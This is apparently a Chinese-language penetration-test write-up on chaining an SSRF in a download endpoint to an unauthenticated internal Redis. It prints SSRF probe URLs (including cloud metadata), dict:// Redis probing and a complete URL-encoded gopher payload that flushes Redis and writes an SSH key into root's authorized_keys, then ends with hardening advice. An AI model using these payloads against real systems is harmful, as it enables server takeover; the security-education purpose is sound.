从SSRF到内网Redis入侵一次真实渗透测试的深度剖析那天下午我正在对某企业Web应用进行常规安全评估。一个看似普通的文件下载接口引起了我的注意——它接受URL参数并返回对应资源内容。直觉告诉我这里可能存在SSRF漏洞。接下来的72小时我完成了一次从外网到内网Redis服务的完整攻击链以下是详细的技术复盘。1. SSRF漏洞的发现与验证测试环境中的文件下载接口形如/download?urlhttps://example.com/image.jpg通过简单参数修改我尝试访问内网地址curl http://target.com/download?urlhttp://127.0.0.1服务器返回了本地服务的响应头信息这确认了SSRF漏洞的存在。更关键的是服务器配置允许访问任意协议包括dict和gopher这类特殊协议。常见SSRF检测方法对比测试类型示例请求有效响应特征基础回环检测urlhttp://127.0.0.1返回本地服务数据协议探测urldict://127.0.0.1:6379/info返回Redis服务信息端口扫描urlhttp://127.0.0.1:8080响应时间差异判断端口状态元数据服务探测urlhttp://169.254.169.254/latest返回云实例元数据提示现代云环境中SSRF漏洞可能导致更严重的元数据服务泄露测试时需特别注意2. 内网服务探测与Redis识别利用dict协议进行内网端口扫描时6379端口的响应引起了我的注意$ curl http://target.com/download?urldict://192.168.1.10:6379/info OK redis_version:5.0.7 ...通过分析返回信息确认目标存在Redis未授权访问漏洞。Redis默认配置存在三个高危风险点无认证机制默认不启用密码验证高危命令未禁用CONFIG、EVAL等命令可用默认绑定所有接口早期版本监听0.0.0.0Redis安全配置检查清单启用requirepass参数设置强密码重命名或禁用CONFIG、FLUSHALL等危险命令设置bind 127.0.0.1限制监听范围启用protected-modeRedis 3.23. Gopher协议攻击载荷构造Gopher协议的强大之处在于它能构造任意格式的TCP流量。要攻击Redis需要精确构造符合Redis协议的payload。以下是关键步骤原始Redis命令准备flushall set exploit \n\nssh-rsa AAAAB3Nza... mykey\n\n config set dir /root/.ssh config set dbfilename authorized_keys save协议转换规则每行命令以\r\n结尾前缀*N表示参数个数$L表示参数长度特殊字符需URL编码最终Gopher URL示例gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%247%0D%0Aexploit%0D%0A%2422%0D%0A%0A%0Assh-rsa%20AAA...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A注意实际攻击中需要根据目标环境调整路径和密钥内容4. 攻击链完整实现与防御建议通过SSRF发送精心构造的Gopher请求后成功实现了写入SSH公钥获取服务器权限写入Webshell控制应用服务通过定时任务获取反向shell企业级防御方案网络层防护出口流量过滤限制内网服务对外请求网络分区核心数据库隔离在独立VLAN端口访问控制限制Redis等服务的可访问范围系统层加固# Redis安全配置示例 rename-command CONFIG rename-command FLUSHALL requirepass STR0NG_PSSW0RD bind 127.0.0.1应用层防护对用户输入的URL进行严格校验实现允许列表机制控制可访问域名禁用危险协议dict/gopher等这次渗透测试最深刻的教训是看似低危的SSRF漏洞在特定条件下可能成为内网突破的致命入口。安全防护需要建立纵深防御体系任何一个环节的疏忽都可能导致全线溃败。